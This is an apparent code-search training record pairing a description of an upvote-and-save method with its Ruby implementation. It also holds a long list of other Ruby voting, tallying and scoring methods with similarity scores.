update_rating!\n # not using count because lates some votes might be something other than +/- 1\n self.positive_vote_count = votes.positive.sum(:value).abs\n self.negative_vote_count = votes.negative.sum(:value).abs\n self.rating = votes.sum(:value)\n save!\n end", "def total_votes\n\t\tself.votes.where(vote: true).size - self.votes.where(vote: false).size\n\tend", "def tally_votes\n tallies = {}\n if vote_tallies.present?\n vote_tallies.each do |vote_tally|\n tallies[vote_tally.candidacy] = vote_tally.vote_count\n end\n else\n votes.each do |vote|\n candidacy = vote.candidacy\n tallies[candidacy] ||= 0\n tallies[candidacy] += 1\n end\n end\n\n tallies\n end", "def vote\n value = params[:type] == \"up\" ? 1 : -1\n @post.add_or_update_evaluation(:votes, value, current_user)\n redirect_to :back\n end", "def increase_vote_count\n \tcount = voteable.votes_count\n \tcount = count + 1\n \tvoteable.update_attributes(votes_count: count)\n end", "def upvote\n @post = Post.find(params[:id])\n @post_count = Post.count\n @vote = Vote.new(user_id: session[:id], post_id: @post.id, score: 1)\n if @vote.save\n @post.update_attribute(:respect, @post.respect + 1)\n flash[:notice] = 'Post upvoted successfully'\n end\n redirect_to(action: 'index', topic_id: @topic.id)\n end", "def total_upvotes\n\t\tself.get_upvotes.sum(:vote_weight)\n\tend", "def downvote\n @question.downvote_from current_user\n #si votas negativo automaticamente el usuario logueaado tiene un punto negativo -1\n @question.user.puntaje-=2\n @question.user.save\n\n current_user.puntaje-=1\n current_user.save\n redirect_to @question, notice: 'Gracias por puntuar'\n end", "def remove_vote(vote)\n self.score = self.score - vote.value\n self.votes_count = self.votes_count - 1\n end", "def up_votes\n # we find the up votes for a post by passing value: 1 to where. This fetches a collection of votes with a value of 1. \n # We then call count on the collection to get a total of all up votes.\n votes.where(value: 1).count\n end", "def total_up_votes\r\n self.song_up_votes.size\r\n end", "def total_votes\n self.reload\n self.votes.count\n end", "def total_votes\n self.reload\n self.votes.count\n end", "def after_create\n election.vote_count = election.vote_count + 1\n election.save\n end", "def get_vote_count\n\t\treturn calculate_vote_count\n\tend", "def quit_vote\n self.decrement!(:votes, 1)\n end", "def downvote\n @solution = Solution.find(params[:id])\n if @solution.profiles_voted.include?(current_user.profile)\n @solution.profiles_voted.delete(current_user.profile)\n @solution.save\n @solution.up_votes -= 1\n @solution.save\n else\n flash[:error] = \"You have already voted on this solution.\"\n end\n redirect_to :back\n end", "def rating_formula\n time = Time.new\n age = ((time - self.created_at)/60/60/24).to_i\n if upvotes != nil\n rating = upvotes + age * (-0.5)\n else \n rating = age * (-0.5)\n end\n rating\n end", "def total_votes\n \tself.shout_votes.count\n end", "def increment_votes\n Article.increment_vote_cache(article_id)\n end", "def faceless_down_votes_count(voting_field = \"votes\")\n eval(voting_field).try(:[], 'faceless_down_count') || 0\n end", "def up\n if @a_vote.nil?\n AVote.create({\n :key => get_key(@current_user.id, @answer.id),\n :user_id => @current_user.id,\n :answer_id => @answer.id,\n :valency => 1\n })\n @answer.score += 1\n @answer.save\n redirect_to @question\n elsif @a_vote.valency == -1\n @a_vote.valency = 1\n @a_vote.save\n @answer.score += 2\n @answer.save\n redirect_to @question\n else\n @a_vote.destroy\n @answer.score -=1\n @answer.save\n redirect_to @question\n end\n end", "def upvotes_count\n topic_votes.where(value: 1).sum(:value)\n end", "def check_upvote(idea)\n if idea.quality == 'genius'\n elsif idea.quality == 'plausible'\n idea.update(quality: 'genius')\n elsif idea.quality == 'swill'\n idea.update(quality: 'plausible')\n end\n end", "def required_votes\n possible_votes / 2 + 1\n end", "def vote(vtr, value)\n\n original_points = self.point #Record original points to update user \n\n #Check that voter is not self's voter \n return nil if vtr == self.voter\n\n vt = Vote.where(voter_id:vtr.id, voteable_id:self.id).first\n if vt && vt.vote == value\n unvote(vtr,vt)\n return nil\n elsif vt\n self.point -= self.class.options(vt.vote) #Remove old vote points\n vtr.reputation -= self.class.vtback(vt.vote)\n else\n self.count += 1\n vt = Vote.new(voter_id:vtr.id, voteable_id:self.id)\n votes << vt\n end\n\n case value\n when :up ; self.up += 1\n when :down ; self.down += 1\n end\n\n self.point += self.class.options(value) #Add new vote points\n vtr.reputation += self.class.vtback(value)\n self.save\n vtr.save\n\n #Update votee reputation\n self.voter.reputation += self.point - original_points\n self.voter.save\n\n # Set vote to up or down\n vt.vote= value\n vt.save\n return vt\n end", "def downvote_post(params)\n db = SQLite3::Database.new(\"db/database.db\")\n db.results_as_hash = true\n\n current_upvotes = db.execute(\"SELECT posts.Upvotes FROM posts WHERE postId = ?\", params[\"post_id\"])\n\n new_upvotes = current_upvotes[0][\"Upvotes\"].to_i - 1\n\n db.execute(\"UPDATE posts SET Upvotes = ? WHERE postId = ?\", new_upvotes, params[\"post_id\"])\n end", "def votes\n total_votes = 0\n self.options.each do |vote_val|\n #todo: this is probably wrong\n total_votes += vote_val.to_i\n end\n total_votes += (REDIS_VOTES.get('YES:' + self.id).to_i + REDIS_VOTES.get('NO:' + self.id).to_i)\n end", "def auto_upvote\n upvote(self.user)\n end", "def check_score\n score = @post.upvotes - @post.downvotes\n # raise 'hell'\n @post.update_attribute(:score, score)\n end", "def add_initial_upvate\n Vote.create(:item_id => self.id, :user_id => self.user_id, :vote_type => 'up')\n self.update_rank\n end", "def upvote(answer)\n upvoted_answers << answer\n end", "def downvote_and_update(user)\n self.disliked_by user\n self.save\n end", "def upvote\n\n\t\t@interview = InterviewReview.find(params[:id])\n\t\t@interview.upvotes.create(job_seeker_id: current_user.job_seeker.id)\n\t\t@total_votes = @interview.upvotes.count\n\t\trespond_to do |format|\n\t\t\t\n\t\t\tformat.js\n\t\tend\n\tend", "def total_votes\n num_of_votes = self.votes.count\n return num_of_votes\n end" ]
[ "0.8010913", "0.77478546", "0.7299664", "0.7065575", "0.6974259", "0.696491", "0.6810292", "0.680439", "0.6783879", "0.6761954", "0.6729899", "0.6714184", "0.67135954", "0.6641259", "0.66187316", "0.6618066", "0.65903974", "0.65903974", "0.65258914", "0.65258914", "0.6440316", "0.6433229", "0.6431672", "0.641959", "0.6379787", "0.6379522", "0.637838", "0.63674444", "0.63663536", "0.63185495", "0.62777895", "0.62685555", "0.6243401", "0.6243401", "0.62353456", "0.6217786", "0.6209897", "0.6168627", "0.6135206", "0.61335295", "0.61335295", "0.61335295", "0.61335295", "0.6129133", "0.6102117", "0.6102117", "0.6083965", "0.6069263", "0.6056369", "0.6053231", "0.6049989", "0.6033003", "0.6018933", "0.60175765", "0.60062057", "0.5973609", "0.59725004", "0.5960266", "0.59502727", "0.5947593", "0.5937896", "0.59344774", "0.5925831", "0.59193504", "0.5917685", "0.59162307", "0.5912444", "0.5903821", "0.5884084", "0.5879059", "0.5878144", "0.5872995", "0.58614206", "0.58556247", "0.58532035", "0.58525527", "0.5833319", "0.5833319", "0.5801487", "0.5788371", "0.5786904", "0.5785002", "0.577555", "0.5772711", "0.57419854", "0.5730288", "0.57287276", "0.5728182", "0.5724773", "0.57228327", "0.5722348", "0.57208335", "0.5712243", "0.5711492", "0.57093054", "0.5703025", "0.5693834", "0.56878644", "0.5682619", "0.5677479" ]
0.84108794
0
Adds a upvote to the idea and then saves it, causing the idea's hotness to update
def upvote_and_update(user) self.liked_by user self.save #trigger set_hotness! end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def upvote\n self.votes += 1\n save\n end", "def vote_up\n update_votes(1)\n end", "def upvote_question\n self.update(votes_count: self.votes_count + 1)\n end", "def upvote(answer)\n upvoted_answers << answer\n end", "def up_vote\n if current_user\n answer_id = params[:answer_id]\n can_vote = Vote.can_vote(answer_id, current_user.uid)\n if can_vote\n answer = Answer.find_by_id(answer_id)\n answer.vote += 1\n answer.save!\n \n Vote.add_vote(answer_id, current_user.uid)\n end\n end\n render :nothing => true\n end", "def upvote\n @vote[:direction] = true\n @vote.save!\n redirect_to :back\n end", "def vote up\n end", "def upvote\n @post = Post.find(params[:id])\n @post_count = Post.count\n @vote = Vote.new(user_id: session[:id], post_id: @post.id, score: 1)\n if @vote.save\n @post.update_attribute(:respect, @post.respect + 1)\n flash[:notice] = 'Post upvoted successfully'\n end\n redirect_to(action: 'index', topic_id: @topic.id)\n end", "def upvote\n\t\tif vote_once\n\t\t\t@vote = @post.votes.create(user_id: current_user.id)\n\t\telse\n\t\t\t@vote = false\n\t\tend\n\t\tbyebug\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend", "def upvote(question)\n vote = Vote.new\n vote.user_id = self.id\n vote.question_id = question.id\n vote.question = true\n vote.save!\n end", "def upvote\n @fud_entry.upvote_from current_user\n redirect_to fud_entries_path\n end", "def add_review_votes_to_review\n # increment the count of votes regardless of stance\n if self.review.helpful_count.nil?\n self.review.helpful_count = 1\n else\n self.review.helpful_count += 1\n end\n\n # adjust the score to incorporate the up-vote, if it's an up-vote\n if self.helpful?\n if self.review.helpful_score.nil?\n self.review.helpful_score = 1\n else\n self.review.helpful_score += 1\n end\n end\n \n self.review.save!\n end", "def upvote\n @post = Post.find_by(id: params[:id])\n # raise 'hell'\n\n # the following line to be uncommented when we go live to allow for 1 vote per user\n # Vote.find_or_create_by(post: @post, user: @current_user)\n # Vote.find_or_create_by(upvote: 1, post: @post, user: @current_user)\n Vote.create(upvote: 1, post: @post, user: @current_user)\n check_score()\n make_request()\n end", "def check_upvote(idea)\n if idea.quality == 'genius'\n elsif idea.quality == 'plausible'\n idea.update(quality: 'genius')\n elsif idea.quality == 'swill'\n idea.update(quality: 'plausible')\n end\n end", "def up_vote\n answer = Academy::Answer.find(params[:answer])\n vote = Academy::Vote.where(:user_id => current_user.id, :answer_id => answer.id)\n \n if vote.empty?\n answer.vote_up\n vote = Academy::Vote.new(:vote => 1, :user_id => current_user.id, :answer_id => answer.id)\n vote.save\n elsif vote.first.vote == -1\n answer.vote_up_from_down\n Academy::Vote.update_votes( current_user.id, answer.id, 1)\n end\n redirect_to answer.question\n end", "def upvote(user)\n unless self.voters.any? {|id| id.to_s == user.uid.to_s}\n self.voters << user.uid\n self.votes += 1\n self.relevance = calculate_relevance unless new_record?\n self.save\n end\n end", "def auto_upvote\n upvote(self.user)\n end", "def add_initial_upvate\n Vote.create(:item_id => self.id, :user_id => self.user_id, :vote_type => 'up')\n self.update_rank\n end", "def set_up_vote\n @up_vote = UpVote.find(params[:id])\n end", "def upVote\n current_brother.upVote(@rushee)\n redirect_to :back\n end", "def upvote!(u)\n raise ArgumentError, \"must supply User\" unless u and u.is_a?(User)\n\n return true if self.has_voted?(u.id)\n\n self.upvoters << u.id\n\n GT::Framer.dupe_frame!(self, u.id, u.upvoted_roll_id)\n\n update_score\n\n # send email notification in a non-blocking manor\n ShelbyGT_EM.next_tick { GT::NotificationManager.check_and_send_upvote_notification(u, self) }\n\n self.save\n end", "def up_vote\n update_vote(1)\n redirect_to :back #redirect the user to wherever he came from\n end", "def set_upvote\n @upvote = Upvote.find(params[:id])\n end", "def up_vote\n session[:return_to] ||= request.referer\n @link = Link.find(params[:id])\n @link.upvotes = @link.upvotes + 1\n @link.save\n redirect_to session.delete(:return_to)\n end", "def vote_up!(user)\n vote_ups.create(:user => user) unless voted_by?(user)\n end", "def upvote\n\t\t@pin.upvote_by current_user\n\t\tredirect_to :back\n\tend", "def upvote\n\t\t\t@review = Review.find(params[:review_id])\n\t\t\t@review.update_attribute(:upvotes, (@review.upvotes + 1))\n\t\tend", "def uvote\n question = Question.find(params[:question_id])\n if params[:action].to_i == 1\n question.upvote += 1\n else\n question.downvote += 1\n end\n question.save!\n\n render :json => {:success => 1}\nend", "def vote\n value = params[:type] == \"up\" ? 1 : -1\n @mypost = Mypost.find(params[:id])\n @mypost.add_or_update_evaluation(:votes, value, current_user)\n redirect_to :back, notice: \"Thank you for voting!\"\nend", "def vote\n value = params[:type] == \"up\" ? 1 : -1\n @post.add_or_update_evaluation(:votes, value, current_user)\n redirect_to :back\n end", "def upvote\n # you can upvote only once\n if !@recipe.votes.where(user: current_user).exists?\n @recipe.votes.where(user: current_user).first_or_create\n else\n # you can take your upvote back\n current_user.votes.where(user: current_user)\n @recipe.votes.where(user: current_user).first.destroy\n end\n end", "def upvote\n\t@post = Post.find(params[:id])\n\t@post.votes = @post.votes + 1\n puts @post.votes\n\n\n\n\trespond_to do |format|\n if @post.update(post_par2)\n\t\tformat.html { redirect_to @post, notice: 'Post was successfully upvoted.' }\n\t\tformat.json { render :show, status: :ok, location: @post }\n end\n\tend\n end", "def upvote\n @recipe.upvote_from current_user\n redirect_to root_path\n end", "def repute_vote_up(voter)\n Reputation.handle(self, :vote_up, self.person, :sender => voter, :tier => self.tier)\n end", "def upvote(user_cookie)\n existing_vote = votes.find_by(user_cookie: user_cookie)\n if existing_vote.blank?\n votes.build(weight: 1, user_cookie: user_cookie).save\n else\n existing_vote.update(weight: 1) if existing_vote.weight < 0\n end\n end", "def upvote\n\t\t@product = Product.find(parms[:id])\n\t\t@vote = @product.votes.new(user_id: current_user)\n\t\tif @vote.save\n\t\t\tredirect_to products_path, notice: 'Post was succesfully upvoted'\n\t\telse\n\t\t\tredirect_to products_path, notice: 'You have already voted'\n\t\tend\n\tend", "def upvote_post(params)\n db = SQLite3::Database.new(\"db/database.db\")\n db.results_as_hash = true\n\n current_upvotes = db.execute(\"SELECT posts.Upvotes FROM posts WHERE postId = ?\", params[\"post_id\"])\n\n new_upvotes = current_upvotes[0][\"Upvotes\"].to_i + 1\n\n db.execute(\"UPDATE posts SET Upvotes = ? WHERE postId = ?\", new_upvotes, params[\"post_id\"])\n end", "def upvote\n @link = Link.find(params[:id])\n @user = User.find(current_user.id)\n @vote = @link.votes.create(params[:link])\n @vote.user = @user\n @vote.link = @link\n @vote.score = 1\n \n respond_to do |format|\n if @vote.save!\n format.html { redirect_to(links_path, :notice => 'Your vote has been cast.') }\n else\n format.html { redirect_to(links_path, :notice => 'Error recording vote, please try again later.') }\n end\n \n end\n end", "def upvote\n if current_user.voted_for? @pin\n @pin.unliked_by current_user\n else\n @pin.liked_by current_user\n end\n\n redirect_to :back\n end", "def add_vote\n self.increment!(:votes, 1)\n end", "def upvote\n @comment = Comment.find_by(id: params[:id])\n # raise 'hell'\n\n # the following line to be uncommented when we go live to allow for 1 vote per user\n # Vote.find_or_create_by(upvote: 1, post: @post, user: @current_user)\n Vote.find_or_create_by(upvote: 1, comment: @comment, user: @current_user)\n check_score()\n respond_to do |format|\n # # if the response format is html, redirect as usual\n format.html { redirect_to root_path }\n # # if the response format is javascript, do something else...\n format.js { }\n end\n end", "def up_vote\n @post = Post.not_published.find(params[:id])\n vote = @post.moderator_votes.new(:up_vote => true)\n vote.user = current_user if logged_in?\n vote.session_id = session[:session_id]\n vote.save\n flash[:notice] = \"Thanks for your help moderating upcoming posts.\"\n redirect_to moderators_path\n end", "def upvote\n @voteable = @commentable_collection.find(params[:id])\n current_user.vote_for(@voteable)\n current_user.add_points(1)\n @voteable.update_vote_score\n respond_to do |format|\n format.js\n end\n end", "def upvote\n story_id = BSON::ObjectId.from_string(params[:id])\n Story.upvote(story_id, current_user.id)\n render :nothing => true\n end", "def vote_up\n begin\n @user = current_user\n @idea = Idea.find(params[:idea])\n @user.vote_for(@idea)\n render :nothing => true, :status => 200\n rescue ActiveRecord::RecordInvalid\n render :nothing => true, :status => 404\n end\n end", "def upvote\n @article = Article.find(params[:id])\n @article.upvote_from current_user\n redirect_to @article\n end", "def upvote\n @user = User.find(params[:id])\n @user.upvote_by @current_user\n redirect_to :back\n end", "def upvote_post_i(params)\n db = SQLite3::Database.new(\"db/database.db\")\n db.results_as_hash = true\n\n current_upvotes = db.execute(\"SELECT posts.Upvotes FROM posts WHERE postId = ?\", params[\"postId\"])\n\n new_upvotes = current_upvotes[0][\"Upvotes\"].to_i + 1\n\n db.execute(\"UPDATE posts SET Upvotes = ? WHERE postId = ?\", new_upvotes, params[\"postId\"])\n end", "def set_answer_upvote\n @answer_upvote = AnswerUpvote.find(params[:id])\n end", "def up\n if @a_vote.nil?\n AVote.create({\n :key => get_key(@current_user.id, @answer.id),\n :user_id => @current_user.id,\n :answer_id => @answer.id,\n :valency => 1\n })\n @answer.score += 1\n @answer.save\n redirect_to @question\n elsif @a_vote.valency == -1\n @a_vote.valency = 1\n @a_vote.save\n @answer.score += 2\n @answer.save\n redirect_to @question\n else\n @a_vote.destroy\n @answer.score -=1\n @answer.save\n redirect_to @question\n end\n end", "def add_vote\n @vote = @comment.votes.find_by_user_id(current_user.id)\n\n if @vote\n @vote.positive = vote_params[:positive]\n else\n @vote = Vote.new(vote_params)\n end\n\n redirect_or_err(@vote, :api_comment_path, 400, @comment.id) do\n trackVal = @vote.positive ? 'Up' : 'Down'\n updated = !@vote.persisted? || @vote.changed?\n @vote.save &&\n (updated ? GATrackWorker.perform_async('Vote', trackVal, @comment.id) : true)\n end\n end", "def upvote\n\t @post = Post.find(params[:id])\n\t @post.upvote_by current_user\n\t redirect_to root_path\n\n\tend", "def upvote\n # Increase the vote count. You would probably also want to perform other checks to\n # make sure the same IP doesn't upvote multiple times, etc.\n @question.votes += 1\n if @question.save\n # Render out the new vote count.\n render json: { votes: @question.votes } # Sends back a 200 status, jQuery's success callback will be called\n else\n # You could also render back some error JSON if you wanted\n head :bad_request # Sends back a 403 status, jQuery's error callback will be called\n end\n end", "def upvote\n set_song()\n respond_to do |format|\n if @song.user != current_user\n format.html { redirect_to songs_url, notice: 'You can not show songs of other users.' }\n format.json { head :no_content }\n else\n @song.rating += 1\n @song.save\n format.html\n format.json { render json: @song }\n end\n end\n end", "def upvote\n @pin.upvote_by current_user\n redirect_to :back, notice: 'Pin was upvoted!'\n # redirect_to request.referer || root_path, notice:'Link upvoted!'\n end", "def vote_up insert_before_id=false\n register_vote :up, insert_before_id\nend", "def uppost\n post = Post.find_by_id(params[:id])\n if !post.nil?\n post.vote(current_user, true)\n end\n end", "def increase_vote_count\n \tcount = voteable.votes_count\n \tcount = count + 1\n \tvoteable.update_attributes(votes_count: count)\n end", "def upvote\n @post.likes.create(user_id: current_user.id)\n\n respond_to do |format|\n format.html { redirect_to posts_path }\n format.js\n end\n end", "def add_vote(vote)\n self.score = self.score + vote.value\n self.votes_count = self.votes_count + 1\n end", "def upvote\n\t\tvotes = self.nov\n\t\tupdate(nov: votes +1)\n\tend", "def vote_up\n @question = Question.find params[:id]\n @question.vote_up(ip: request.remote_ip, user_id: (current_user && current_user.id))\n head :ok\n end", "def create\n @vote = current_user.votes.where(:link_id => params[:vote][:link_id]).first || current_user.votes.create(params[:vote])\n @vote.update_attributes(:up => params[:vote][:up])\n\n @link = Link.where(:id => @vote.link_id).first\n\n if @vote.up\n @link.voteCount += 1\n @link.save\n else\n @link.voteCount -= 1\n @link.save\n end\n redirect_to :back\n end", "def vote_up\n 15\n end", "def create\n @oldVote = current_user.votes.where(:musing_id => params[:vote][:musing_id]).first\n @musing = Musing.where(:id => params[:vote][:musing_id]).first\n\n\n if @oldVote\n @oldVoteUp = @oldVote.up\n @newVoteUp = params[:vote][:up]\n if (@oldVoteUp == true)\n if (@newVoteUp != false)\n @musing.votecount -=2\n @oldVote.update_attributes(:up => false)\n @oldVote.save\n @musing.save\n end\n else\n if (@newVoteUp != true)\n @musing.votecount +=2\n @oldVote.update_attributes(:up => true)\n @oldVote.save;\n @musing.save\n end\n end\n else\n @vote = current_user.votes.create(params[:vote])\n if @vote.up\n @musing.votecount += 1\n else\n @musing.votecount -= 1\n end\n end\n @musing.save\n redirect_to :back\n end", "def upvote\n\n\t\t@interview = InterviewReview.find(params[:id])\n\t\t@interview.upvotes.create(job_seeker_id: current_user.job_seeker.id)\n\t\t@total_votes = @interview.upvotes.count\n\t\trespond_to do |format|\n\t\t\t\n\t\t\tformat.js\n\t\tend\n\tend", "def save_vote\n # Need to reinitialize all instance vars here since not using sessions\n @article = Article.find(params[:id])\n @ip = request.remote_ip.to_s\n @bttn_display = lookup_like(@ip, @article.id)\n # If a user hasn't liked a post\n if @bttn_display == 0\n # Updates or creates a new row\n like = Like.find_or_initialize_by(user: @ip, article_id: @article.id, liked: 0)\n like.update(liked:1)\n @bttn_display = 1\n\n # If a user has liked a post\n else\n # Find the post and updates\n Like.find_by(user: @ip, article_id: @article.id).update(liked: 0)\n @bttn_display = 0\n end\n redirect_to article_path(@article)\n end", "def vote\n find_issue\n authorize\n @issue.vote(params[:vote] == \"up\" ? :up : :down)\n @issue.save\n redirect_to :controller => 'issues', :action => 'show', :id => @issue\n end", "def vote_up\n @link = Link.find(params[:id])\n begin\n if current_user.poster?\n User.poster[rand(User.poster.count)].vote_exclusively_for(@link)\n else\n if current_user.voted_for?(@link)\n current_user.clear_votes(@link)\n else\n current_user.vote_exclusively_for(@link)\n end\n end\n @link.update_hotness!\n respond_to do |format|\n format.js\n format.html {redirect_to :back}\n end\n rescue ActiveRecord::RecordInvalid\n render :nothing => true, :status => 404\n end\n end", "def upvote\n recipe_id = Mongo::ObjectID.from_string(params[:id])\n Recipe.upvote(recipe_id, current_user.id)\n render :nothing => true\n end", "def downvote_and_update(user)\n self.disliked_by user\n self.save\n end", "def upvote(e, params)\n @messages.vote(user_hash(@message), 1) or @irc.msg(e.nick, \"SORRY YOU CAN'T VOTE ON THIS MESSAGE AGAIN\")\nend", "def upvote(current_user)\n if current_user && current_user.voted_up_on?(self)\n self.unliked_by current_user\n else\n self.liked_by current_user\n end\n end", "def upvote\n @comment = Comment.find(params[:id])\n @comment.upvote\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def up_vote\n #raise\n update_vote(1)\n # redirect_back(fallback_location: root_path)\n respond_to do |format|\n format.html\n format.js\n end\n end", "def create\n @upvote = Upvote.new(upvote_params)\n @upvote.user_id = current_user.id\n if @upvote.comment_id?\n\t@comment = Comment.find(@upvote.comment_id)\n @user = User.find(@comment.user_id)\n @comment.update_attribute(:votes, @comment.votes + 1)\n else\n\t@post = Post.find(@upvote.post_id)\n\t@user = User.find(@post.user_id)\n\n end\n\n @user.update_attribute(:karma, @user.karma + 1)\n\n respond_to do |format|\n if @upvote.save\n\t\tif @upvote.post_id?\n\t\t\tformat.html { redirect_back(fallback_location: root_path) }\n\t\telse\n\t\t\tformat.html { redirect_to @upvote.comment.post }\n\t\tend\n format.json { render :show, status: :created, location: @upvote }\n else\n format.html { render :new }\n format.json { render json: @upvote.errors, status: :unprocessable_entity }\n end\n end\n end", "def vote \n\t\tsuggestion = Suggestion.find(suggestion_params[:id])\n\t\tuser_vote = UserVote.where({\n\t\t\t\t:user_hash => cookies[:user_hash],\n\t\t\t\t:suggestion_id => suggestion.id}).first\n\t\t\n\t\tif suggestion_params[:abort]\n\n\t\t\tnow = Time.now.to_i\n\t\t\tif now < (suggestion.voting_started_at + 55)\n\t\t\t\tsuggestion.voting_started_at = now - 55\n\t\t\tend\n \n else\n\n\t\t\tif user_vote # the user has already voted on this\n\t\t\t\tlogger.debug 'vote exists'\n\t\t\t\tif suggestion_params[:direction] == 'up' && user_vote.vote < 1\n\t\t\t\t\tuser_vote.vote += 1\n\t\t\t\t\tsuggestion.score += 1\n\t\t\t\t\t#user_reward(suggestion, 2)\n\t\t\t\telsif suggestion_params[:direction] == 'down' && user_vote.vote > -1\n\t\t\t\t\tuser_vote.vote -= 1\n\t\t\t\t\tsuggestion.score -= 1\n\t\t\t\t\t#user_reward(suggestion, -2)\n\t\t\t\tend\n\t\t\t\t\n\t\t\telse # the user votes on this for the first time\n\t\t\t\tlogger.debug 'new vote'\n\t\t\t\tif suggestion_params[:direction] == 'up' \n\t\t\t\t\tsuggestion.score += 1\n\t\t\t\t\t#user_reward(suggestion, 1)\n\t\t\t\t\tv = 1\n\t\t\t\telse \n\t\t\t\t\tsuggestion.score -= 1\n\t\t\t\t\t#user_reward(suggestion, -1)\n\t\t\t\t\tv = -1\n\t\t\t\tend\n\t\t\t\tuser_vote = UserVote.new(\n\t\t\t\t\t:user_hash => cookies[:user_hash],\n\t\t\t\t\t:suggestion_id => suggestion.id,\n\t\t\t\t\t:vote => v\n\t\t\t\t)\n\t\t\tend\n\t\t\t\n\t\t\tuser_vote.save\t\t\t\t\t\t\n\t\t\n\t\tend\t\t\t\n\t\t\n\n\t\tif suggestion_params[:top_boost]\n\t\t\t\tsuggestion.name2 = cookies[:user_name]\n\t\tend\n\t\t\t\t\t\t\t\t\n\t\tsuggestion.save\n\n\t\tPusher['chez_ois_chat'].trigger('update_suggestions_' + suggestion_params[:avatar_id], load_suggestions(suggestion_params[:avatar_id]))\n\t\t#Pusher['chez_ois_chat'].trigger('update_highscores', load_highscores)\n\t\trender json: suggestion\n\tend", "def upcomment\n comm = Comment.find_by_id(params[:id])\n if !comm.nil?\n comm.vote(current_user, true)\n end\n end", "def up\n vote_status = $redis.hget(\"#{@instance_type}:#{@instance.id}:votes\", current_user.id).to_i\n same_vote = vote_status != 1\n \n if current_user.credit > Settings.vote_up_limit and current_user.vote_per_day > 0 and same_vote\n if vote_status == -1\n @instance.update_attribute(:votes_count, @instance.votes_count + 1)\n @instance.user.update_attribute(:credit, @instance.user.credit + Settings.vote_down)\n current_user.update_attribute(:credit, current_user.credit + Settings.answer_voter_down) if @instance_type == \"answer\"\n current_user.update_attribute(:vote_per_day, current_user.vote_per_day + 1)\n end\n $redis.hset(\"#{@instance_type}:#{@instance.id}:votes\", current_user.id, 1)\n @instance.update_attribute(:votes_count, @instance.votes_count + 1)\n \n case @instance_type\n when \"question\"\n @instance.user.update_attribute(:credit, @instance.user.credit + Settings.question_vote_up)\n when \"answer\"\n @instance.user.update_attribute(:credit, @instance.user.credit + Settings.answer_vote_up)\n end\n \n current_user.update_attribute(:vote_per_day, current_user.vote_per_day - 1)\n \n case @instance_type\n when \"question\"\n record = Vote.where(:user_id => current_user.id, :question_id => @instance.id).first\n if record\n record.update_attribute(:value, 1)\n else\n Vote.create(:user_id => current_user.id, :question_id => @instance.id, :value => 1)\n end\n when \"answer\"\n record = Vote.where(:user_id => current_user.id, :answer_id => @instance.id).first\n if record\n record.update_attribute(:value, 1)\n else\n Vote.create(:user_id => current_user.id, :answer_id => @instance.id, :value => 1)\n end\n end\n end\n end", "def vote_up\n begin\n current_user.vote_for(@proclamation = Proclamation.find(params[:id]))\n render :show\n rescue ActiveRecord::RecordInvalid\n render :error\n end\n end", "def up\n if @q_vote.nil?\n QVote.create({\n :key => get_key(@current_user.id, @question.id),\n :user_id => @current_user.id,\n :question_id => @question.id,\n :valency => 1\n })\n @question.score += 1\n @question.save\n redirect_to @question\n elsif @q_vote.valency == -1\n @q_vote.valency = 1\n @q_vote.save\n @question.score += 2\n @question.save\n redirect_to @question\n else\n @q_vote.destroy\n @question.score -=1\n @question.save\n redirect_to @question\n end\n end", "def vote\n if user_signed_in?\n @idea = Idea.find(params[:idea_id])\n vote = params[:vote]\n @ideavote = IdeaVote.where(:user_id => current_user.id, :idea_id => params[:idea_id]);\n \n # back out the old vote\n vote_changed = false\n had_vote = false\n \n if @ideavote.count > 0\n had_vote = true\n if @ideavote[0].vote != vote\n vote_changed = true\n end\n \n if @ideavote[0].vote == \"yae\"\n @idea.yae_votes-=1\n else \n @idea.nay_votes-=1\n end\n @ideavote[0].destroy\n end\n \n # apply the new vote\n if !had_vote || vote_changed\n @newideavote = IdeaVote.new()\n @newideavote.user_id = current_user.id\n @newideavote.idea_id = @idea.id\n @newideavote.vote = vote\n @newideavote.save \n if vote == \"yae\"\n @idea.yae_votes+=1\n else \n @idea.nay_votes+=1\n end\n end\n \n @idea.rank = @idea.calculate_rank\n @idea.save\n \n respond_to do |format|\n format.json { \n render :json => @idea.to_json(:methods => [:vote_tally, :category_name, :user_alias]) \n }\n end\n \n end\n end", "def vote_up(user_ip)\n if user_already_voted?(user_ip)\n false\n else\n if self.votes.create(:user_ip => user_ip)\n true\n else\n false\n end\n end\n end", "def voted\n new_total = self.votes + 1\n return self.update(votes: new_total)\n end", "def upvote \n @micropost = Micropost.find(params[:id])\n @micropost.upvote_by current_user\n redirect_to @micropost\n end", "def upvote\n\t\t# the post is set to the params\n\t\tpost = Post.find(params[:post_id])\n\t\t# set comment to the that comment's params\n\t\tcomment = post.comments.find(params[:id])\n\t\t# increment that comment's upvotes\n\t\tcomment.increment!(:upvotes)\n\t\trespond_with post, comment\n\tend", "def vote\n\t\t@review = Review.find(params[:id])\n\n\t\tif params[:type] == 'up'\n\t\t\t@review.add_or_update_evaluation(:up_votes, 1, current_user)\n\t\tend\n\n\t\t# Both up and down votes affect total votes\n\t\t@review.add_or_update_evaluation(:total_votes, 1, current_user)\n\t\t\n\t\tflash[:success] = \"Thanks for voting!\"\n\t\tredirect_to :back\n\tend", "def up_likes\n self.likes += 1\n end", "def update_rating!\n # not using count because lates some votes might be something other than +/- 1\n self.positive_vote_count = votes.positive.sum(:value).abs\n self.negative_vote_count = votes.negative.sum(:value).abs\n self.rating = votes.sum(:value)\n save!\n end", "def create_vote\n user.answer_votes.create(value: 1, answer: self)\n end", "def create_vote\n user.answer_votes.create(value: 1, answer: self)\n end", "def up_votes\n\t#\tself.votes.where(value: 1).count\n\t\tvotes.where(value: 1).count\n\tend", "def create\n vote = Vote.new\n @idea = Idea.find(params[:id])\n @idea.votes << vote\n @idea.save\n vote.save\n current_user.votes << vote\n current_user.save\n respond_to do |format|\n format.html\n format.js {}\n end\n end", "def comment_vote_up\n comment = Comment.find(params[:id])\n\n if(!valid_request? comment, :back, false)\n return\n end\n\n v = VotesComment.new(:comment_id => comment.id, :user_id => current_user.id)\n\n respond_to do |format|\n if v.save\n format.html { redirect_to :back, notice: 'Vote Up successful' }\n format.json { render json: :back, status: :created, location: v }\n else\n format.html { render action: \"vote up\" }\n format.json { render json: v.errors, status: :unprocessable_entity }\n end\n end\n end", "def upvote_for(user)\n return unless vote_weight_for_user(user) < 1\n vote_for(user, 